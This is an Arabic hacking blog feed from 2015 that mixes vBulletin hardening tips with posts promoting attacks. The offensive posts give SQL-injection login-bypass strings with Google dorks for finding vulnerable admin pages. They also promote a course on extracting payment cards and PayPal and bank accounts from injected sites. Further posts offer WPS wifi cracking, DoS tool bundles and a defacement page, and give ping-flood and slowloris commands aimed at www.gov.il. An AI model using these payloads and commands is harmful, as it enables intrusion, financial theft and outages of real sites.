مدونة Anonymouse

دورة احتراف استغلال جميع الثغرات

noreply@blogger.com (mahmoud) — Sat, 13 Jun 2015 06:01:00 +0000

بسم الله الرحمن الرحيم و الصلاة و الصلام علي سيدنا محمد و علي اله و صحبه اجمعين

اليوم معانا دورة احتراف استغلال الثغرات المنية مثل الحقن و remote , injection , blind , sql , غيره

كل درس نقوم برفعه علي اليوتيوب سنضيف الرابط هنا

الدرس الاول : استغلال ثغره Auth bypass

الدرس الثاني : استغلال ثغره Sql injection

البرنامج تحت الفيديو

تاخير في النشر او عدم النشر

noreply@blogger.com (mahmoud) — Thu, 21 May 2015 10:38:00 +0000

السلام عليكم ورحمة الله وبركاته

اسفين علي قله المنشورات

وذالك بسبب مشكلة في النت

و الروتر فيه مشاكل

في يوم 25 هنرجعلكم تاني

و يارب مش نفقد اي زوار لينا

[ترقيع] لثغرة الـ Spacer_open

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 21:51:00 +0000

السلام عليكم ورحمة الله وبركاته

كثير منا يشاهد منتديات يتم اختراقها عن طريق ال spacer_open

وهذا حل مبدئي لتفادي الاختراق بواسطة هذا القالب

فكرة الترقيع : تغيير اسم قالب spacer_open الى اسم مايعرفه احد الا انت وبذلك عندما يضرب المخترق قالب ال spacer_open لن يجدى ذلك نفعا لانه لن يكون له اي وجود

شرح الترقيع :

افتح ملف global.php

ثم ابحث عن
كود:
eval('$spacer_open = "' . fetch_template('spacer_open') . '";');
معنى الكود انه المتغير $spacer_open يقوم بإستدعاء القالب spacer_open

سوف نقوم بتغيير اسم القالب الى اي اسم نريده وليكن مثلا rawabetvb

اي اننا سوف نستبدل الكود العلوي بهذا الكود

كود:
eval('$spacer_open = "' . fetch_template('rawabetvb') . '";');
بذلك اصبح المتغير $spacer_open يقوم بإستدعاء القالب rawabetvb والقالب spacer_open ليس له اي فائدة ,,,

لم يبقى الى شئ بسيط

من لوحة التحكم >

الاستايلات والقوالب >

التحكم في الاستيلات ثم نقوم بإضافة قالب جديد باسم rawabetvb (طبعا يجب ان يكون اسم القالب متوافق مع الاسم اللى وضعته في ملف global.php )

ثم تقوم بوضع التالي في هذا القالب

 <if condition="$show['old_explorer']"> <table cellpadding="0" cellspacing="0" border="0" width="$stylevar[outertablewidth]" align="center"><tr><td class="page" style="padding:0px $stylevar[spacersize]px 0px $stylevar[spacersize]px"> <else /> <div align="center"> <div class="page" style="width:$stylevar[outerdivwidth]; text-align:$stylevar[left]"> <div style="padding:0px $stylevar[spacersize]px 0px $stylevar[spacersize]px"> </if>
ثم حفظ .

حل تغرث ملف faq.php للنسخة 3.8.6

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 21:29:00 +0000

السلام عليكم

حل تغرث ملف faq.php للنسخة 3.8.6

طريقة حل الثغرة

الان بالشركة تم تعديل الملفات

Security Patch Release 3.8.6 PL1

الشرح التراقيع الثغرات

الطريقة قم برفع الملفات

install/vbulletin-language.xml

من خلال تنزيلك من خلال الرابط
http://members.vbulletin.com/patches.php

ومن بعد رفع الملفات
توجه الي
لوحة التحكم
اللغات
رفع وتنزيل اللغة
واعمل استيراد للغة من ملف الانستول
لا تقم بوضع اي مسار فقط اعمل استيراد وانتهي
includes/version_vbulletin.php Latest Stable Version: 3.8.6 Patch Level 1

شرح اخفاء اصدار المنتدي للحمايه من الهكر

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 21:25:00 +0000

هذي طريقة سهلة جدا لـ كيفية إخفاء إصدار المنتدى ..
لـ تصعب على الهكرز إختراق المنتدى ..
إفـتـح قـالب footer
إبحث عن
$vbphrase[powered_by_vbulletin]
وإستبدله بـ
Powered by vBulletin Copyright ©2000 - 2009, Jelsoft Enterprises Ltd

بالتوفيق للجميع

ترقيع ثغرة الـ forumhome

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 21:16:00 +0000

ترقيع ثغرة الـ forumhome

اذهب الى الـ F T P ومن ثم افتح ملف المنتدى الرئيسي وافتح ملف newthread.php
الموجود داخل مجلد المنتدى
وأبحث عن
رمز PHP:
$newpost['title'] =& $vbulletin->GPC['subject'];

استبدلها بـ
رمز PHP:
$newpost['title'] =htmlspecialchars_uni(& $vbulletin->GPC['subject']);
// $newpost['title'] =& $vbulletin->GPC['subject'];

وبكده تم ترقيع ثغرة
forumhome

تشفير الكنفج بسهولة كبيرة لحماية المنتدى

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 21:10:00 +0000

السلام عليكم و رحمة الله و بركاته

جبتلكم طريقة تشفير واحد من أهم ملفات المنتدى و التي إذا وصل إليها الهكر فقل
باي لمنتداك الحبيب
لذلك تعالوا نشفره

ببرنامج
zend

Zend Studio 5.5.1

شرح طريقة حماية المنتدى بنسبة 97% ( وسد معظم الثغرات )

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 21:03:00 +0000

بسم لله الرحمن الرحيم ،،

طريقة حماية منتداك وسد معظم ثغراته
1- يجب وضع حماية على المجلدات التالية :.
admincp
includes
modcp
install
archive
2- تغيير اسم مجلد admincp الى اي اسم اخر .
3- عدم مراسلة الاعضاء من لوحة التحكم عبر البريد الاكتروني .
4- إيقاف خاصية مراسلة الاعضاء فيما بينهم (او بعضهم البعض) عبر البريد الإلكتروني
الطريقة كـ الاتي:.
لوحة تحكم المنتدى > خيارات المنتدى > خيارات البريد > السماح للمستخدمين بالمراسلة البريدية للأعضاء الآخرين . خليها لا
5- تغيير محتوى الملفات . showgroups.php و memberlist.php و online.php و calendar.php بـ محتوى index.php
والطريقة كـ الاتي :.
الدخول عبر برنامج FTP . ثم الذهاب الى مجلد المنتدى vb ثم تنزيل ملف index.php . ثم فتحة عبر برنامج المفكرة ، ونسخ محتواه كاملاً ، ثم تنزيل الملفات
showgroups.php و memberlist.php و online.php و calendar.php ثم فتح الملفات المذكورة ملف ملف واستبدال محتواها بمحتوى index.php
ثم إعادة رفع الملفات المذكورة showgroups.php و memberlist.php و online.php و calendar.php .
6- إيقاف خاصية الارشيف من لوحة تحكم المنتدى .
الطريقة كـ الاتي:.
من لوحة تحكم المنتدى ومن خيارات المنتدى ومن خيارات ارشيف محركات البحث ستجد اول خيار تمكين أرشيف المنتدى اجعلها ( لا ) .

7- تعديل تمبليت SHOWTHREAD في جميع الاستايلات ، وذالك ((((بـ حذف)))) الكود المرفق(مهم جداً) .

8- تغيير تصريح مجلد includes الى 751 ، وايضا ً إعطاء جميع ما يحتوية نفس التصريح .

------------------------------------------
وهكذا تم حماية منتداك97% وسد جميع ثغراته ^_^
وكذا انت سويت الا عليك وانت الباقي على ربكـ ,,
ولاتنسى اختيار الاستضافه القويه والمحميه فهي تشكل دور كبير في الحمايه

حماية المنتدي من ثغره التسجيل باسم الادمن 3.7 ,VB 3.8

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 20:50:00 +0000

السلام عليكم ,

بخصوص الثغرة او الخطأ يمكن المخترق بتسجيل عضوية جديد تحميل نفس اسم الادمن الحالي وتمكنه من الاطلاع على الرسائل الخاصة للادمن و خداع الاعضاء .

ترقيع الثغرة الدخول الى لوحة التحكم ثم خيارات لوحة التحكم ثم خيارات الرقابة ثم نضع الكود التالي في الكلمات الممنوعة

&#00

بالتوفيق للجميع

تنصيب DDoS-Deflate على السيرفر للحماية من هجمات الدوس

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 20:45:00 +0000

السلام عليكم ورحمة الله وبركاته

سكريبت DDoS-Deflate هو سكريبت مجاني ومفتوحة المصدر ويمكننا اعتباره من أفضل الأدوات الخاصة بصد هجمات حجب الخدمة على مستوى البرامج.

طريقة العمل :
1-افتح برنامج putty لاصحاب السرفرات فقط واتصل بالسرفر .
2-لما اتطلعلك الشاشة السوداء لكتابة الاوامر اكتب التالي :

لتنصيب السكربت:

الامر :

wget http://www.inetbase.com/scripts/ddos/install.sh

لاعطاء التصريح :

الامر :

chmod 0700 install.sh

  امر التشغيل:

 الامر :

./install.sh

بالتوفيق للجميع

حماية المواقع من الحقن sql injection و تغير اللينك من php الي html

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 20:34:00 +0000

السلام عليكم اخواني في الانونيموس الاسلامي

اليوم بإذن الله سنتعرّف قليلا على أحد إمكانات ملفّات htaccess التي نجدها في ملفات المواقع و لا نعطيها أهمّية و لها إمكانات كبيرة جدا
ماهي ملفات htaccess ؟
هي ملفّات تعطي أوامر للــ apache و هو برنامج على السيرفر يهتم بالروابط و التوجيه و ربط الدومينات بالإيبي و غيرها (( باختصار )) و بإمكانكم البحث أكثر عن الأباتش فما كتبته مجرد مثال
طيّب إخواني نفرض أن لدي سكربت فيه صفحات كل صفحة أكتبها رابطها مثلا
www.site.com/millenium.php?id=56
ممكن أفتح قوس هنا إخواني لو تسمحو و هي معلومة أذكّركم بها
millenim.php
هو الملف للصفحات و الذي يحوي أكود تلك الصحفة
****
?id
نقطة الإستفهام هي علامة إستعلام للمتصفّح أي كأن المتصفّح يسأل السيرفر ((' أي صفحة أظهر للمستخدم '))
=56
السرفر يعطيه الصفحة رقم 56 في الخانة رقم 56

طيّب إخواني لكي نتجنّب الحقن سأجعل الصفحة تظهر www.site.com/mill-56.html
و هنا قمت بشيئين
أخفيت إسم الملف الحقيقي لكي لا يستطيع الهكر حقن الملف لأنه لا يعرف إسمه
غيرت الإمتداد إلى html حتى لا يستطيع الحقن
كيف أقوم بذلك
اذهب إلى مجلد الإسكربت أو ملفات الموقع ( بمدير المفات في السيبنل ) لأن برامج الأف تي بي لا تظهر ملفات htaccess
افتح ملف .htacceess
اكتب
RewriteEngine on
و تعني تشغيل ملف إتش تي أكسس
RewriteEngine on
هذا الكود يقوم بتشغيل الخاصيه في موقعك
لعد ذلك نقوم بتعريف السيرفر ما هو الاسلوب الذي يتعامل به مع الملفات عن طريق وضع الاتي
RewriteRule ^New Url$ old Url
أولاً نضع الاتي
RewriteRule
و هذا الكود يدل علي بدأ تبديل الرابط الاول
و يتكون هذا السطر من ^ و هذه العلامه تعني بداية الرابط الاول المراد تغيره
و بعد ذلك نضع الرابط الاول الجديد المراد التغيير إليه و بعد ذلك أضفنا
$ و هي تعني إنتهاء الجزء الخاص بالملف المراد التغيير إليه
و بعد ذلك قمنا بوضع اسم الملف القديم
RewriteEngine on
RewriteRule ^index.htm$ index.php

بالنسبة لمثالنا الأول تصبح هكذا

RewriteEngine on

RewriteRule mill-(.*)\.html$ millenium.php?id=$1

4 - فحص الايميلات paypal - دورة حقن sql injection

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 19:58:00 +0000

بسم الله الرحمن الرحيم الدورة هتتركز علي

1 - فحص المواقع

2 - سحب الفيزات و اهم الجداول

3 - استخراج الحسابات و اهم الجداول

4 - فحص حسابات البيبال

___________________________________

تحميل البرامج المستخدمه :

maxisploit

havji pro

دي لسته هدية للتطبيق الدوره عليها للعلم انها كلها die

list email
______________________________________________________

بالتوفيق للجميع

3 - حقن المواقع و اخراج الايميلات - دوره حقن sql injection

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 19:54:00 +0000

بسم الله الرحمن الرحيم الدورة هتتركز علي

1 - فحص المواقع

2 - سحب الفيزات و اهم الجداول

3 - استخراج الحسابات و اهم الجداول

4 - فحص حسابات البيبال

___________________________________

تحميل البرامج المستخدمه :

maxisploit

havji pro

دي لسته هدية للتطبيق الدوره عليها للعلم انها كلها die

list email
______________________________________________________

بالتوفيق للجميع

2 - حقن المواقع و اخراج الفيزا - دوره حقن sql injection

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 19:29:00 +0000

بسم الله الرحمن الرحيم الدورة هتتركز علي

1 - فحص المواقع

2 - سحب الفيزات و اهم الجداول

3 - استخراج الحسابات و اهم الجداول

4 - فحص حسابات البيبال

___________________________________

تحميل البرامج المستخدمه :

maxisploit

havji pro

دي لسته هدية للتطبيق الدوره عليها للعلم انها كلها die

list email
______________________________________________________

بالتوفيق للجميع

1- فحص موقع المصابه : دورة حقن sql injection

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 18:53:00 +0000

بسم الله الرحمن الرحيم الدورة هتتركز علي

1 - فحص المواقع

2 - سحب الفيزات و اهم الجداول

3 - استخراج الحسابات و اهم الجداول

4 - فحص حسابات البيبال

___________________________________

تحميل البرامج المستخدمه :

maxisploit

havji pro

دي لسته هدية للتطبيق الدوره عليها للعلم انها كلها die

list email
______________________________________________________

بالتوفيق للجميع

ثغره bypass اخري لاختراق المواقع

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 16:41:00 +0000

السلام عليكم ورحمة الله وبركاته

اقدم لكم ثغره bypass اخري من اكتشاف GhostxHack

الدورك : Powered By DATA nGEN TECH (M) Sdn Bhd

مسار الادمن : /admin_login.php

الاستغلال:

' or'1=1

Tito, V!ru$s , Mr.TNT , Anonymouse , Ahmed Bel

ثغره bypass جديده من اكتشاف V!ru$s

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 15:23:00 +0000

السلام عليكم ورحمة الله وبركاته

شرح اليوم ثغره Bypass الخطيره

اولا الدورك :inurl:vn/admin/login.php

ثانيا الاستغلال:

'=' 'or'

ثالثا الفيديو

طريقة البحث عن مواقع مصابه بسهولة و باحتراف

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 08:09:00 +0000

السلام عليكم ومعانا اول درس

طريقة البحث عن مواقع مصابه بثغره المشهوره sql injection

تابع معايا الفيديو

الشرح مقدم من : V!ru$s

تحميل

طريقة اختراق شبكات Wifi عن طريق ثغره Wps

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 08:08:00 +0000

ورجعنا بشرح جديد وهو :

اختراق الواي فاي بثغره Wps

اسيبكم مع الشرح و التحميل تحت الفيديو

اي مشاكل بالينك ضع رد تحت الموضوع و هيتم التجديد
2015/05/12

تحميل

اقوي تجميعة من برامج Doss Attack

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 08:04:00 +0000

التجميعة مقدمة من : V!ru$s

هذه اقوي تجميعه من برامج الدوس اتاك فتاكه

تقوم بزيادة الضغط علي الموقع بشكل كبير و requestat كثيره

تحميل

مقدمة : دورة Sql injection و سحب الحسابات البنكية

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 08:03:00 +0000

مقدمة دورة الحقن و سحب الحسابات البنكية

بسم الله الرحمن الرحيم الدورة هتتركز علي

1 - فحص المواقع

2 - سحب الفيزات و اهم الجداول

3 - استخراج الحسابات و اهم الجداول

4 - فحص حسابات البيبال

___________________________________

تحميل البرامج المستخدمه :

maxisploit

havji pro

دي لسته هدية للتطبيق الدوره عليها للعلم انها كلها die

list email
______________________________________________________

بالتوفيق للجميع

اندكس اختراق من تصميم V!ru$s

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 07:52:00 +0000

الان اضع بين يديكم الاندكس القديم الخاص بيا :)

الاندكس مقدم من : V!ru$s

تحميل

تحميل سكربت بلغة php للبحث عن المواقع المصابه بثغره Sql injection

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 07:50:00 +0000

اقدم لكم سكربت بلغة php غير مكشوف من الاستضافات

يبحث عن المواقع عبر dorks في جوجل

باسورد فك الضغط

virus

____________________

تحميل

تحميل Kali-Linux اخر اصدار 32xbit , 64xbit

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 07:42:00 +0000

السلام عليكم احب اطرح اليكم اليوم

تحميل ال kali lunix باخر اصدارته

لا احب اطول عليكو

اتفضلو التحميل

kali lunix 32xbit

kali lunix 64xbit

طريقة الهجوم علي المواقع و اسقاطها بسهولة علي Kali-Lunix

noreply@blogger.com (mahmoud) — Mon, 18 May 2015 07:40:00 +0000

السلام عليكم ورحمة الله وبركاته

موضوعنا ظاهر من عنوانه

__________________________

امر الاستهداف:ping ip site -t -l 65500
البرنامج لتشغيل الاداة
رابط البرنامج:
http://www.activestate.com/activeperl...
رابط كود slowloris
http://ha.ckers.org/slowloris/slowlor...
امر الاستهداف : start C:\slowloris.pl -dns www.gov.il -port 80

_________________________________

الشرح مقدم من : Tito